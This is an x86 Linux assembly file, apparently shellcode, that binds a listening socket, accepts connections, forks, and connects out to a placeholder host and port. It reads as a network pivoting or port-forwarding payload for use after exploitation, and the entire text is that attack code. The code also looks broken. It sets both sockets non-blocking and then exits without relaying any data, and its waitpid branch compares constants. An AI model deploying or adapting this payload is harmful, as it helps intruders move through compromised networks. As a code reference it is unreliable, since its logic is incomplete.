.globl main main: // get server socket push $0x66 pop %eax push $0x1 pop %ebx xor %ecx, %ecx push %ecx push $0x1 push $0x2 mov %esp, %ecx int $0x80 mov %eax, %edi // setsockopt(server, SOL_SOCKET, SO_REUSEADDR, 1, sizeof(int)) movb $0x1, %bl movl %esp, %ecx movb $0x4, %bl push %ebx push %ecx movb $0x2, %bl push %ebx dec %ebx push %ebx push %edi mov %esp, %ecx movb $0x66, %al movb $0xe, %bl int $0x80 // bind(server, (struct sockaddr*)&server_addr, 0x10) xor %eax, %eax push %eax pushw $0xAAAA pushw $0x2 mov %esp, %ecx push $0x10 push %ecx push %edi mov %esp, %ecx push $0x2 pop %ebx push $0x66 pop %eax int $0x80 // listen(server, 1) push $0x1 push %edi mov %esp, %ecx push $0x4 pop %ebx push $0x66 pop %eax int $0x80 jmp accept parent: // waitpid(-1, status, 0); xor %ebx,%ebx dec %ebx xor %eax, %eax mov %esp, %ecx xor %edx, %edx xor %al, %al mov $0x07, %al int $0x80 xor %eax, %eax inc %eax xor %ebx, %ebx cmp %eax, %ebx jne accept // exit(0) xor %eax,%eax inc %eax xor %ebx,%ebx int $0x80 ret accept: // accept(server, NULL, NULL) xor %eax, %eax push %eax push %eax push %edi mov %esp, %ecx push $0x5 pop %ebx push $0x66 pop %eax int $0x80 mov %eax, %esi // fork() movb $0x2, %al int $0x80 xor %ebx, %ebx cmp %ebx, %eax jne parent // close master socket mov %edi, %ebx movb $0x6, %al int $0x80 // create new outgoing socket push $0x66 pop %eax push $0x1 pop %ebx xor %ecx, %ecx push %ecx push $0x1 push $0x2 mov %esp, %ecx int $0x80 mov %eax, %edi // connect(target, (struct sockaddr *)&their_addr, sizeof(struct their_addr)) push $0x66 pop %eax push $0x3 pop %ebx push $0xBBBBBBBB pushw $0xAAAF pushw $0x2 mov %esp, %ecx push $0x10 push %ecx push %edi mov %esp, %ecx int $0x80 // if we can't connect, die xor %ebx, %ebx cmp %ebx, %eax jne bailout // make target socket non-blocking movb $0x37, %al mov %edi, %ebx push $0x4 pop %ecx push $0x802 pop %edx int $0x80 // make source socket non-blocking movb $0x37, %al mov %esi, %ebx push $0x4 pop %ecx push $0x802 pop %edx int $0x80 exit: xor %eax, %eax inc %eax mov %eax, %ebx int $0x80 bailout: jmp bailout_string bailout_stage2: // send cannot connect message pop %ecx xor %eax, %eax mov $0x4, %al mov %esi, %ebx mov $24, %dl int $0x80 // close socket xor %eax, %eax mov %esi, %ebp mov $0x6, %al int $0x80 jmp exit bailout_string: call bailout_stage2 .string "Cannot connect to host.\n" # 24 bytes